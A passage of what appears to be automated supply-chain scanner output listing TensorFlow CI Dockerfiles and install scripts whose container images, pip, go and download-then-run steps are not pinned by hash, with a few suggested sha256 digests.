updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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